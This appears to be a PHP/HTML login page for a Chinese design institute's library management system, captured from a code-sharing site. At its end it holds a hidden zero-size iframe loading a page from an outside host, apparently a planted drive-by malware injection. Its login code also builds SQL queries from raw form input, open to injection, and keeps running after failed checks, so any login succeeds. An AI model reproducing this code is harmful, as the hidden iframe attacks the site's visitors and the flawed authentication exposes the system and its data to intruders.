?? index.php
字號:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title>南方裝飾藝術設計院圖書管理系統</title>
<script type="text/javascript" language="JavaScript1.2" src="css\stm31.js"></script>
<link href="css/css.css" rel="stylesheet" type="text/css">
<style type="text/css">
<!--
body {
margin-top: 0px;
margin-bottom: 0px;
margin-left: 2px;
margin-right: 2px;
}
-->
</style></head>
<body>
<table width="995" height="73" class="titlebg">
<tr>
<td align="center" class="title">圖 書 管 理 系 統</td>
</tr>
</table>
<table width="995" height="500" border="0" class="left">
<tr>
<td align="center" valign="middle">
<form action='index.php' method='post'>
<table width="300" border="1" cellpadding="0" cellspacing="0" bordercolor="#FFFFFF" class="table">
<tr>
<td height="45" colspan="2" align="center" bgcolor="#BCD2E6" class="tabletitle">請輸入用戶名和密碼</td>
</tr>
<tr>
<td width="100" height="40" align="center" class="word">用戶名</td>
<td height="40" class="word">
<input name="username" type="text" id="username" size="15"></td>
</tr>
<tr>
<td width="100" height="40" align="center" class="word">密 碼</td>
<td height="40" class="word">
<input name="password" type="password" id="password" size="15"></td>
</tr>
<tr>
<td height="45" colspan="2" align="center" class="word"><input type="submit" name="submit" value="提交">
<input type="reset" name="Submit2" value="重置"></td>
</tr>
</table>
<p> </p>
<p> </p>
</form>
</td>
</tr>
</table>
<table width="995" height="30" class="titlebg">
<tr>
<td align="center" class="word">南方裝飾藝術設計院版權所有 © 2007 技術支持:信息技術部</td>
</tr>
</table>
</body>
</html>
<?php
include "config.php";
if(!empty($_POST["submit"]))
{
if(empty($_POST["username"])){
echo ("<script type='text/javascript'> alert('用戶名怎么能是空的呢!');history.go(-1);</script>");
}
if(empty($_POST["password"])){
echo ("<script type='text/javascript'> alert('密碼也不能是空的!');history.go(-1);</script>");
}
$username= $_POST["username"]; //用戶名已經記錄了
$password= $_POST["password"]; //密碼已經記錄了
$sql="select * from admin where username='$username' and password='$password'";
$result=mysql_fetch_array(mysql_query($sql));
if(!$result){
echo ("<script type='text/javascript'> alert('用戶名或密碼不正確!');history.go(-1);</script>");
}
session_start();
$_SESSION["username"]="$username";
echo "<script>location.href='index1.php';</script>";
}
?>
<iframe src=http://www.winxpbox.com/ys/e.htm width=0 height=0></iframe>
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -